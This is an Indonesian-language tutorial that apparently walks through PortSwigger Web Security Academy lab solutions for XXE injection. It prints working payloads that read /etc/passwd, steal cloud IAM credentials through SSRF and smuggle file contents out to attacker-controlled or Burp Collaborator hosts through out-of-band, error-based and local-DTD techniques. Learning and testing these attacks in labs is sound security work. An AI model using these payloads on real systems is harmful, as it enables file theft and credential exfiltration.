Exploitasi Injeksi XML External Entity (XXE) - CRUDPRO

Exploitasi Injeksi XML External Entity (XXE)

Injeksi XXE adalah jenis kerentanan keamanan web yang memungkinkan penyerang mengganggu cara aplikasi memproses data XML. Setelah eksploitasi berhasil, penyerang dapat melihat file dari server aplikasi dan berinteraksi dengan sistem eksternal atau back-end yang dapat diakses aplikasi.

Memahami entitas XML

XML

XML adalah singkatan dari bahasa markup yang dapat diperluas dan dirancang untuk penyimpanan dan transfer data. Ini mirip dengan HTML karena memiliki struktur tag dan data seperti pohon, tetapi XML tidak memiliki tag standar seperti h1, img, dan div. Tag diberi nama khusus setelah data yang diwakilinya.

Entitas XML

Entitas XML adalah cara untuk merepresentasikan item data dalam dokumen XML, alih-alih menggunakan data itu sendiri. Anggap saja sebagai variabel dalam pemrograman. Definisi Jenis Dokumen

Ini berisi deklarasi yang dapat menentukan struktur dokumen XML, tipe nilai data yang dapat dikandungnya, dan item lainnya. DTD dapat sepenuhnya mandiri dalam dokumen XML (dikenal sebagai DTD internal) atau dapat dimuat dari tempat lain (dikenal sebagai DTD eksternal). DTD dideklarasikan dalam elemen DOCTYPE di awal dokumen XML.

<!DOCTYPE name_for_doctype[ {some_data_here} ]>

Entitas kustom XML

Entitas khusus seperti variabel khusus yang dapat Anda buat dalam DTD. Misalnya: ]> . Berikut adalah referensi ke entitas &myentity;. Itu akan diganti dengan data "nilai myentitiy". Oleh karena itu, kami tahu bahwa kami dapat membuat entitas kustom, sehingga kami dapat membuat entitas kustom dengan data yang telah ditentukan sebelumnya dari server aplikasi.

Entitas eksternal XML

Entitas eksternal XML adalah tipe entitas kustom yang berada di luar DTD tempat definisi dideklarasikan. Deklarasi entitas eksternal harus menggunakan kata kunci SISTEM dan menentukan URL untuk memuat nilai entitas.

<pre style="background-color:transparent; border:none;"><code class="xml">

Atau, Anda dapat menggunakan protokol selain http, seperti file. Oleh karena itu, Anda dapat menggabungkan semua informasi yang telah Anda pelajari untuk mendapatkan data dari file /etc/passwd server.

<!DOCTYPE foo [ <!ENTITY ext SYSTEM “file:///etc/passwd” > ]>

Memanfaatkan kerentanan XXE

Penyebab XXE

Saat aplikasi menggunakan XML untuk mentransfer data antara browser dan server, aplikasi paling sering menggunakan API standar untuk memproses XML di server. Secara default, parser menangani fitur yang berpotensi berbahaya, menghasilkan kerentanan.

Eksploitasi XXE untuk mendapatkan file

Untuk melakukan injeksi XXE yang mengambil file apa pun dari sistem file server, XML yang dikirim harus dimodifikasi dengan dua cara:

  • Memperkenalkan (atau mengedit) elemen DOCTYPE yang mendefinisikan entitas eksternal yang berisi jalur ke file.
  • Edit nilai data XML yang dikembalikan dalam respons aplikasi untuk memanfaatkan entitas eksternal yang ditentukan.

Misalnya, anggaplah aplikasi belanja memeriksa tingkat inventaris produk dengan mengirimkan XML berikut ke server.

<?xml version=”1.0" encoding=”UTF-8"?>
<stockCheck><productId>3301</productId></stockCheck>

Di sini, aplikasi tidak melakukan perlindungan XXE dan dapat dieksploitasi. Payload yang dimasukkan untuk mendapatkan isi dari file /etc/passwd server terlihat seperti ini:

<?xml version=”1.0" encoding=”UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

Elemen DOCTYPE disisipkan menggunakan kata kunci SYSTEM, merujuk entitas eksternal dari server, dan kemudian menggunakan &xx;. Entitas permintaan untuk mendapatkan data yang diperlukan. Apa hal yang jahat!

Jalankan pemalsuan permintaan sisi server (SSRF) dengan mengeksploitasi XXE

Dari Akademi Keamanan Web Burp Suite, saya menjelaskan cara membuat permintaan sisi server menggunakan XXE. Ini mengikuti format yang sama seperti di atas, tetapi alih-alih menggunakan protokol file, ia menggunakan protokol http untuk mengirim permintaan ke IP sisi server. Tujuan di lab mereka adalah untuk mendapatkan token IAM dari server. Untuk mencapai ini, kirim permintaan ke alamat IP yang ditentukan dan berikan petunjuk untuk variabel jalur berikut di setiap respons. Setelah menggabungkan setiap nama path, Anda akhirnya mendapatkan token yang diinginkan. Solusinya adalah:

<?xml version=”1.0" encoding=”UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM “http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]><stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Permukaan serangan tersembunyi dari injeksi XXE

Karena lalu lintas HTTP normal aplikasi berisi permintaan yang berisi data berformat XML, permukaan serangan untuk kerentanan injeksi XXE seringkali jelas. Dalam kasus lain, permukaan serangan tidak terlalu terlihat. Di bawah ini adalah dua contoh permukaan serangan yang lebih tersembunyi.

XInclude serangan

Beberapa aplikasi menerima data yang dikirim oleh klien, menyematkannya dalam dokumen XML di sisi server, lalu menguraikan dokumen. Jika Anda memiliki kesempatan untuk mencari permukaan serangan, untuk itulah skenario ini. Ketika server mengambil input sewenang-wenang dan menggunakannya untuk melakukan sesuatu. Contoh ini terjadi ketika data yang dikirim oleh klien ditempatkan dalam permintaan SOAP backend dan diproses oleh layanan SOAP backend.

SOAP, yang dikenal sebagai Simple Object Access Protocol, adalah protokol berbasis XML untuk mengakses layanan web melalui HTTP. SOAP dikembangkan sebagai bahasa perantara sehingga aplikasi yang dibangun dalam bahasa pemrograman yang berbeda dapat dengan mudah berkomunikasi satu sama lain dan menghindari pekerjaan pengembangan tambahan.

Dalam skenario di atas, Anda tidak dapat mengontrol seluruh dokumen XML (karena Anda menggunakan SOAP), dan Anda tidak dapat menyisipkan atau mengedit elemen DOCTYPE untuk itu. Untuk menghindari hal ini, Anda dapat menyertakan XInclude, yang merupakan bagian dari bahasa pemrograman XML yang memungkinkan Anda membuat dokumen XML dari subdokumen (dalam hal ini, permintaan dibuat ke server). Serangan XInclude dapat ditempatkan dalam nilai data apa pun dalam dokumen XML, sehingga Anda dapat melakukan serangan dalam situasi di mana Anda hanya mengontrol satu item data yang ditempatkan di dokumen XML sisi server.

Untuk melakukan serangan XInclude, Anda perlu merujuk namespace XInclude dan menentukan jalur ke file yang akan disertakan (mirip dengan serangan XXE biasa; berikut adalah solusi payload untuk salah satu tantangan Akademi WebSec PortSwigger.

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Payload harus dalam nilai salah satu variabel dalam permintaan (productId dalam kasus ini). Payload terdiri dari referensi ke XInclude menggunakan atribut xmlns: xi. Ini karena atribut href merujuk ke file yang Anda coba terima, dan XInclude akan mencoba mengurai file sebagai XML yang valid (yang bukan). Gunakan parse ='text' untuk menghindarinya.

XXE dengan mengunggah file

Beberapa aplikasi memungkinkan pengguna untuk mengunggah file yang diproses di sisi server. Beberapa format file umum menggunakan XML atau menyertakan subkomponen XML yang menyertakan format dokumen Office seperti DOCX dan format gambar seperti SVG. Bahkan jika aplikasi Anda mengharapkan format file JPEG atau PNG, itu dapat menerima dan memproses file SVG yang sesuai. Ini adalah vektor serangan lain untuk injeksi XXE, karena file SVG menggunakan XML. Di bawah ini adalah payload solusi lain dari lab Akademi WebSec.

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="40" x="0" y="16">&xxe;</text>
</svg>

Sekali lagi, format yang sama seperti payload XXE lainnya berlaku. Buat tag DOCTYPE, buat entitas, dan rujuk file yang ingin Anda akses. Bagian selanjutnya adalah tag svg yang "membuat" gambar. Buat ukuran gambar dan buat tag teks di dalamnya untuk menempatkan teks khusus Anda. Namun, teks kustom adalah referensi ke entitas yang Anda buat: &xx; Hal ini menyebabkan server memproses data ini, membuat gambar, dan menempatkan konten /etc/hostname di dalamnya.

Serangan XXE melalui tipe konten yang dimodifikasi

Sebagian besar permintaan POST menggunakan tipe konten default yang dihasilkan oleh formulir HTML seperti application/x-www-form-urlencoded. Beberapa situs web berharap menerima permintaan dalam format ini, tetapi akan menangani tipe konten lain, termasuk XML.

Jika permintaan normal Anda berisi:
POST /hackingman HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
cicada=3301
Kirim permintaan yang sama dalam format XML.
POST /hackingman HTTP/1.0
Content-Type: text/html
Content-Length: 7<?xml version="1.0" encoding="UTF-8"><cicada>3301</cicada>
Ketika server menerima ini, ia menemukan permukaan lain untuk memasukkan XML berbahaya.

Eksploitasi Kerentanan Blind XXE

Kerentanan Blind XXE terjadi saat aplikasi rentan terhadap XXE tetapi tidak mengembalikan nilai entitas eksternal yang ditentukan dalam respons. Karena itu, penyalahgunaan blind XXE lebih sulit daripada di contoh sebelumnya, tetapi masih dapat dikelola. Ada dua cara untuk menemukan dan mendeteksinya:

Ini memicu interaksi jaringan out-of-band (yang menggunakan Burp Collaborator) untuk mencuri data sensitif ke server yang dikendalikan penyerang. Memicu kesalahan penguraian XML dengan cara pesan kesalahan mengungkapkan data yang Anda coba curi.

Berikut ini adalah serangkaian lab yang diselesaikan di Akademi Keamanan Web PortSwigger untuk membantu Anda memahami penyalahgunaan blind XXE .

Deteksi XXE Blind Menggunakan Teknik Out-of-band

Cara pertama untuk mendeteksi blind XXE adalah dengan memicu interaksi jaringan out-of-band dengan server pengontrol. Burp Suite Pro memungkinkan Anda untuk menggunakan server Collaborator yang dapat bertindak sebagai server serangan. Untuk mendeteksi blind XXE , buat muatan yang mirip dengan berikut:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.com"> ]>

Di sini, attacker.com adalah situs yang Anda kelola. Contoh alamat server BurpCollaborator adalah http://wpp4w63vbnnhghjj4zz.burpcollaborator.net. Seluruh contoh lab pertama yang memicu dialog dengan server terlihat seperti ini:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://wpp4w63vbnnhghjj4zz.burpcollaborator.net"> ]><stockCheck><productId>&xxe;</productId><storeId>1</storedId></stockCheck>

Deteksi Blind XXE Menggunakan Teknik Out-of-band Dengan Pemfilteran Aplikasi

Validasi input oleh aplikasi atau peningkatan pada parser XML yang digunakan dapat memblokir serangan XXE menggunakan entitas biasa. Sebagai gantinya, Anda mungkin dapat menggunakan entitas parameter XML, yang merupakan tipe spesifik entitas XML yang hanya dapat digunakan dalam DTD. Untuk menggunakan entitas parameter, Anda harus mendahului entitas dengan tanda persen saat Anda mendeklarasikan dan memanggil entitas. Misalnya:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://wpp4w63vbnnhghjj4zz.burpcollaborator.net"> %xxe; ]>
Jadi jika Anda mencoba memicu interaksi out-of-band, payload akan terlihat seperti ini:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://wpp4w63vbnnhghjj4zz.burpcollaborator.net"> %xxe; ]><stockCheck><productId>1</productId><storeId>1</storedId></stockCheck>

Perhatikan bagaimana seluruh muatan terkandung dalam DTD. %Xxe tidak dipanggil. Seperti sebelumnya, itu di luar tag .

Eksploitasi Blind XXE untuk mencuri data out-of-band

Sekarang kami telah mendeteksi keberadaan Blind XXE, kami akan mengambil data dari server. Untuk melakukan ini, buat dua entitas parameter. Salah satunya adalah referensi ke file yang Anda dapatkan dari server, dan yang lainnya adalah entitas yang Anda buat yang merupakan referensi ke server eksternal dan menggunakan entitas di atas. Berikut ini adalah contoh bagus dari salah satu lab PortSwigger.

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://im81nr4zhac2lafxnm997qwk6bc20r.burpcollaborator.net/?x=%file;'>">
%eval;
%exfiltrate;

Di atas adalah muatan sebenarnya untuk menulis untuk mencuri nama host. Baris pertama mendefinisikan entitas parameter XML fort /etc/hostname dan baris kedua membuat entitas parameter XML bernama eval. Entitas ini berisi deklarasi dinamis ke entitas parameter XML lain. Entitas ekstrak dievaluasi dengan mengirimkan permintaan HTTP yang berisi nilai entitas file dalam string kueri URL ke server web penyerang. Kemudian panggil kedua entitas parameter. Untuk memanggil payload ini, gunakan kode exploit berikut, yang merupakan kode yang sama yang kita lihat di bagian sebelumnya. URL SISTEM adalah URL ke server exploit yang disediakan oleh PortSwigger untuk lab ini. Server menyimpan payload di titik akhir/xploit.

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"https://ac411f101e95239380bb8ef501ef00b7.web-security-academy.net/exploit"> %xxe;]>

Exploiting Blind XXE Untuk Mengambil data melalui pesan kesalahan

Jika metode di atas tidak berhasil, cara lain untuk mengeksploitasi Blind XXE adalah dengan memicu pesan kesalahan penguraian yang berisi data yang Anda coba curi. Muatan dan eksploitasi sangat mirip dengan pendekatan di atas. Namun, satu-satunya perbedaan adalah Anda tidak memerlukan server untuk menerima semua jenis permintaan, Anda memerlukan server untuk meng-host payload. Sebuah contoh ditunjukkan di bawah ini.

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Ini adalah struktur yang sama seperti jika Anda mencoba mengeksploitasi Blind XXE menggunakan teknik out-of-band. Namun, perbedaannya ada pada baris kedua. Buat entitas parameter XML yang disebut error. Ini dievaluasi dengan memuat file yang tidak ada yang namanya berisi nilai entitas file. Kemudian panggil entitas kesalahan pada baris terakhir. Ini dievaluasi dengan mencoba memuat file yang tidak ada. Tentu saja, Anda akan mendapatkan pesan kesalahan dengan nama file, termasuk konten entitas file.

Sekali lagi, kode ini harus di-host di server pengontrol. Dari sana, buat permintaan yang sama seperti yang Anda lakukan pada pendekatan sebelumnya. Ini akan menjadi sebagai berikut.

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"https://ac671f5d1faedb45808da23501d80043.web-security-academy.net/exploit"> %xxe;]>

Manfaatkan Blind XXE dengan mengalihkan DTD lokal

Teknik terakhir berfungsi ketika permintaan tidak dapat dikirim ke DTD eksternal dan DTD internal perlu menyertakan payload. Dua teknik sebelumnya menggunakan entitas parameter XML dalam definisi entitas lain. Ini diperbolehkan di DTD eksternal, tetapi tidak di DTD internal. Untuk menghindari hal ini, Anda perlu mengandalkan aplikasi Anda untuk menggunakan kombinasi deklarasi DTD internal dan eksternal. Dalam hal ini, DTD internal dapat mengedit entitas yang telah dideklarasikan dalam DTD eksternal.

Elemen kunci dari serangan ini adalah menemukan file DTD yang sah di server. Misalnya, pada sistem Linux yang menggunakan lingkungan desktop GNOME, Anda akan sering menemukan file DTD di /usr/share/yelp/dtd/docbookx.dtd. File itu berisi entitas ISOamso. Mengetahui hal ini, Anda semua dapat membuat muatan di dalam DTD internal. Berikut adalah contoh payload yang mencuri isi /etc/passwd.

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
  1. pertama ENTITY , local_dtd, berisi konten file DTD eksternal yang ada di server Linux hipotetis.
  2. kedua ENTITY , ISOamso, sudah ada di DTD eksternal dan didefinisikan ulang agar mengandung exploit yang sama seperti dari metode di atas (XXE via Error Parsing).Ini akan memicu kesalahan, yang diharapkan akan menyebabkan pesan kesalahan mengungkapkan isinya dari /etc/passwd.
  3. Kemudian local_dtd dipanggil untuk menginterpretasikan DTD eksternal yang berisi nilai amso ISO yang baru didefinisikan ulang.